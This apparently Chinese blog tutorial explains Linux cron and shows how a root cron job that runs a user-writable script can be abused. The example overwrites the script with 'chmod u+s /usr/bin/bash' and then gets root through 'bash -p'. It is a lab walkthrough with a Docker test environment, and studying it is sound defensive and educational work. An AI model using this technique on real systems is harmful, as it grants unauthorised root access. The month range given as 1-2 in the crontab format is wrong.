Linux提权系列 - cron定时任务

216 阅读1分钟

概述

cron是Linux环境下基于时间的任务管理系统,cron该词来源于希腊语chronos,原意是时间。 用户可以通过cron在固定时间、日期和间隔下定期运行命令和脚本。

cron任务可以运行普通用户的任务,也可以通过root身份运行系统级别的任务。 系统级别的定义文件为/etc/crontab,其一般的形式如下

分钟(0-59)  小时(0-23)  日(1-31)  月(1-2)  周(0-6) 用户名 命令

前五个字段定义了触发任务执行的定时条件,第六个字段定义了执行该任务的用户名, 第七个字段则定义了所执行的命令。

控制和修改系统级别的cron任务也是提权的一种常见手段。

示例

以下的系统级别cron设置定义了一个每分钟触发一次的任务,当该任务被触发时,cron守护进程以root身份运行/home/test/backup.sh脚本。

*  *  *  *  * root /home/test/backup.sh

如果当前用户可以修改/home/test/backup.sh文件,那该脚本就可以被用于执行提权的命令。

test@200482f2bab9:~$ id
uid=1000(test) gid=1000(test) groups=1000(test)

test@200482f2bab9:~$ echo "chmod u+s /usr/bin/bash" >  /home/test/backup.sh
test@200482f2bab9:~$ chmod +x /home/test/backup.sh

等待大约一分钟之后,我们就可以看到/usr/bin/bash有了SUID, 提权就轻而易举了。

test@ec0281ee8d40:~$ ls -alrt /usr/bin/bash
-rwsr-xr-x. 1 root root 1396520 Jan  6  2022 /usr/bin/bash

test@ec0281ee8d40:~$ bash -p
bash-5.1# id
uid=1000(test) gid=1000(test) euid=0(root) groups=1000(test)
bash-5.1#

实战

下面的Dockerfile提供了一个基于Ubuntu的试验环境,可用于复现以上的提权过程。

github.com/wuzhang72/L…